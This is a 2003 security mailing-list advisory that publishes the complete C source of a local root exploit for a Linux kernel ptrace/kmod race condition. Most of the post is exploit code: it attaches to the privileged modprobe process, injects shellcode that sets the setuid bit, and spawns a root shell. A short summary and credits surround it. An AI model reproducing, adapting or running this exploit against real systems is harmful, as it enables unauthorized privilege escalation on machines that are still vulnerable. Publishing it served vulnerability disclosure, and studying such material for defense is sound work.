[EXPL] Ptrace Exploit Code Released

From: support@securiteam.com
Date: 03/23/03

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    From: support@securiteam.com
    To: list@securiteam.com
    Date: 23 Mar 2003 15:45:29 +0200
    
    

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      Ptrace Exploit Code Released
    ------------------------------------------------------------------------

    SUMMARY

    This exploit code exploits a race condition in kernel/kmod.c, which
    creates kernel thread in insecure manner. This bug allows to ptrace cloned
    process, allowing to take control over privileged modprobe binary.

    DETAILS

    Exploit:
    /*
     * Linux kernel ptrace/kmod local root exploit
     *
     *
     *
     * Should work under all current 2.2.x and 2.4.x kernels.
     *
     * I discovered this stupid bug independently on January 25, 2003, that
     * is (almost) two month before it was fixed and published by Red Hat
     * and others.
     *
     * Wojciech Purczynski <cliph@isec.pl>
     *
     * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
     * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
     *
     * (c) 2003 Copyright by iSEC Security Research
     */

    #include <grp.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <paths.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/param.h>
    #include <sys/types.h>
    #include <sys/ptrace.h>
    #include <sys/socket.h>
    #include <linux/user.h>

    char cliphcode[] =
     "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
     "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
     "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
     "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
     "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

    #define CODE_SIZE (sizeof(cliphcode) - 1)

    pid_t parent = 1;
    pid_t child = 1;
    pid_t victim = 1;
    volatile int gotchild = 0;

    void fatal(char * msg)
    {
     perror(msg);
     kill(parent, SIGKILL);
     kill(child, SIGKILL);
     kill(victim, SIGKILL);
    }

    void putcode(unsigned long * dst)
    {
     char buf[MAXPATHLEN + CODE_SIZE];
     unsigned long * src;
     int i, len;

     memcpy(buf, cliphcode, CODE_SIZE);
     len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
     if (len == -1)
      fatal("[-] Unable to read /proc/self/exe");

     len += CODE_SIZE + 1;
     buf[len] = '\0';
     
     src = (unsigned long*) buf;
     for (i = 0; i < len; i += 4)
      if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
       fatal("[-] Unable to write shellcode");
    }

    void sigchld(int signo)
    {
     struct user_regs_struct regs;

     if (gotchild++ == 0)
      return;
     
     fprintf(stderr, "[+] Signal caught\n");

     if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
      fatal("[-] Unable to read registers");
     
     fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
     
     putcode((unsigned long *)regs.eip);

     fprintf(stderr, "[+] Now wait for suid shell...\n");

     if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
      fatal("[-] Unable to detach from victim");

     exit(0);
    }

    void sigalrm(int signo)
    {
     errno = ECANCELED;
     fatal("[-] Fatal error");
    }

    void do_child(void)
    {
     int err;

     child = getpid();
     victim = child + 1;

     signal(SIGCHLD, sigchld);

     do
      err = ptrace(PTRACE_ATTACH, victim, 0, 0);
     while (err == -1 && errno == ESRCH);

     if (err == -1)
      fatal("[-] Unable to attach");

     fprintf(stderr, "[+] Attached to %d\n", victim);
     while (!gotchild) ;
     if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
      fatal("[-] Unable to setup syscall trace");
     fprintf(stderr, "[+] Waiting for signal\n");

     for(;;);
    }

    void do_parent(char * progname)
    {
     struct stat st;
     int err;
     errno = 0;
     socket(AF_SECURITY, SOCK_STREAM, 1);
     do {
      err = stat(progname, &st);
     } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
     
     if (err == -1)
      fatal("[-] Unable to stat myself");

     alarm(0);
     system(progname);
    }

    void prepare(void)
    {
     if (geteuid() == 0) {
      initgroups("root", 0);
      setgid(0);
      setuid(0);
      execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
      fatal("[-] Unable to spawn shell");
     }
    }

    int main(int argc, char ** argv)
    {
     prepare();
     signal(SIGALRM, sigalrm);
     alarm(10);
     
     parent = getpid();
     child = fork();
     victim = child + 1;
     
     if (child == -1)
      fatal("[-] Unable to fork");

     if (child == 0)
      do_child();
     else
      do_parent(argv[0]);

     return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cliph@isec.pl> Wojciech
    Purczynski and <mailto:skbenja@attbi.com> Stephen Benjamin.

    ========================================

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